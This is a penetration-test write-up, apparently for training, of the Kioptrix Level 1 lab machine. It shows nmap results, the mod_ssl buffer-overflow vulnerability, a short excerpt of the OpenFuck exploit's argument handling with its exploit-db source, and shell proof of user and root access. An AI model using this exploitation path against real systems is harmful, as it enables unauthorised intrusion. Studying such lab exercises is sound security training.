Date: 14/11/2021

By: Wael Ghnimi

Contents

System Name: Kioptrix Level 1 3

Service Enumeration 3

Privilege Escalation 6

System Name: Kioptrix Level 1

Service Enumeration

Server IP Address	Ports Open
192.168.0.7	**TCP:** 22/80/139/443/1024
	UDP: None

Nmap Scan Results:

```
# Nmap 7.91 scan initiated Sun Nov 14 08:09:13 2021 as: nmap -p- -sC -sV -O -v -oN nmap/full 192.168.0.7
Nmap scan report for 192.168.0.7
Host is up (0.00087s latency).
Not shown: 65529 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|   Supported Methods: GET HEAD OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2           111/tcp   rpcbind
|   100000  2           111/udp   rpcbind
|   100024  1          1024/tcp   status
|_  100024  1          1024/udp   status
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
| ssl-cert: Subject:
commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countr
yName=--
| Issuer:
commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countr
yName=--
| Public Key type: rsa
```

```
| Public Key bits: 1024
| Signature Algorithm: md5WithRSAEncryption
| Not valid before: 2009-09-26T09:32:06
| Not valid after:  2010-09-26T09:32:06
| MD5:   78ce 5293 4723 e7fe c28d 74ab 42d7 02f1
|_SHA-1: 9c42 91c3 bed2 a95b 983d 10ac f766 ecb9 8766 1d33
|_ssl-date: 2021-11-14T14:12:14+00:00; +1h01m50s from scanner time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_    SSL2_DES_64_CBC_WITH_MD5
1024/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:8C:A3:0C (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Uptime guess: 0.018 days (since Sun Nov 14 07:44:55 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=205 (Good luck!)
IP ID Sequence Generation: All zeros

Host script results:
|_clock-skew: 1h01m49s
| nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   KIOPTRIX<00>        Flags: <unique><active>
|   KIOPTRIX<03>        Flags: <unique><active>
|   KIOPTRIX<20>        Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   MYGROUP<00>         Flags: <group><active>
|   MYGROUP<1d>         Flags: <unique><active>
|_  MYGROUP<1e>         Flags: <group><active>
|_smb2-time: Protocol negotiation failed (SMB2)

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 14 08:10:24 2021 -- 1 IP address (1 host up) scanned in 72.20 seconds
```

Vulnerability Explanation:

The dbm and shm session cache code in mod_ssl before 2.8.7-1.3.23, and Apache-SSL before 1.3.22+1.46, does not properly initialize memory using the i2d_SSL_SESSION function, which allows remote attackers to use a buffer overflow to execute arbitrary code via a large client certificate that is signed by a trusted Certificate Authority (CA), which produces a large serialized session.

Vulnerability Fix:

Download Apache-SSL 1.3.22+1.46 from the usual places (see http://www.apache-ssl.org/).

Severity: HIGH

Proof of Concept Code Here:

```
        printf("*******************************************************************\n");
        printf("* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *\n");
        printf("*******************************************************************\n");
        printf("* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *\n");
        printf("* #hackarena  irc.brasnet.org                                     *\n");
        printf("* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *\n");
        printf("* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *\n");
        printf("* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *\n");
        printf("*******************************************************************\n");
        printf("\n");
        if ((argc < 3) || (argc > 6))
                usage(argv[0]);
        sscanf(argv[1], "0x%x", &arch);
        if ((arch < 0) || (arch > MAX_ARCH))
                usage(argv[0]);
        host = argv[2];
        if (argc == 4)
                port = atoi(argv[3]);
        else if (argc == 5) {
                if (strcmp(argv[3], "-c"))
                        usage(argv[0]);
                N = atoi(argv[4]);
        }
        else if (argc == 6) {
                port = atoi(argv[3]);
                if (strcmp(argv[4], "-c"))
                        usage(argv[0]);
                N = atoi(argv[5]);
        }
```

Source: https://www.exploit-db.com/exploits/764

Local.txt Proof Screenshot:

```
[harold@kioptrix harold]$ id & whoami
id & whoami
[1] 6438
uid=501(harold) gid=501(harold) groups=501(harold)
harold
[harold@kioptrix harold]$ ls -lah
ls -lah
total 28k
drwx------    2 harold   harold       4.0k Sep 26  2009 .
drwxr-xr-x    5 root     root         4.0k Sep 26  2009 ..
-rw-r--r--    1 harold   harold         24 Sep 26  2009 .bash_logout
-rw-r--r--    1 harold   harold        191 Sep 26  2009 .bash_profile
-rw-r--r--    1 harold   harold        124 Sep 26  2009 .bashrc
-rw-r--r--    1 harold   harold        820 Sep 26  2009 .emacs
-rw-r--r--    1 harold   harold       3.4k Sep 26  2009 .screenrc
[harold@kioptrix harold]$
```

Local.txt Contents: N/A

Privilege Escalation

Proof Screenshot Here:

```
[root@kioptrix root]# ls -lah
ls -lah
total 12k
drwxr-x---    2 root     root         1.0k Sep 26  2009 .
drwxr-xr-x   19 root     root         1.0k Nov 14 08:46 ..
-rw-r--r--    1 root     root         1.3k Sep 26  2009 anaconda-ks.cfg
-rw-------    1 root     root          167 Nov 14 09:37 .bash_history
-rw-r--r--    1 root     root           24 Jun 10  2000 .bash_logout
-rw-r--r--    1 root     root          234 Jul  5  2001 .bash_profile
-rw-r--r--    1 root     root          176 Aug 23  1995 .bashrc
-rw-r--r--    1 root     root          210 Jun 10  2000 .cshrc
-rw-r--r--    1 root     root          196 Jul 11  2000 .tcshrc
-rw-r--r--    1 root     root         1.1k Aug 23  1995 .Xresources
[root@kioptrix root]# id & whoami
id & whoami
[1] 6445
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
root
[root@kioptrix root]#
```

Proof.txt Contents: N/A

Lessons Learned

1. Always update and patch your software. We leveraged publicly disclosed vulnerabilities that have security updates and patches available.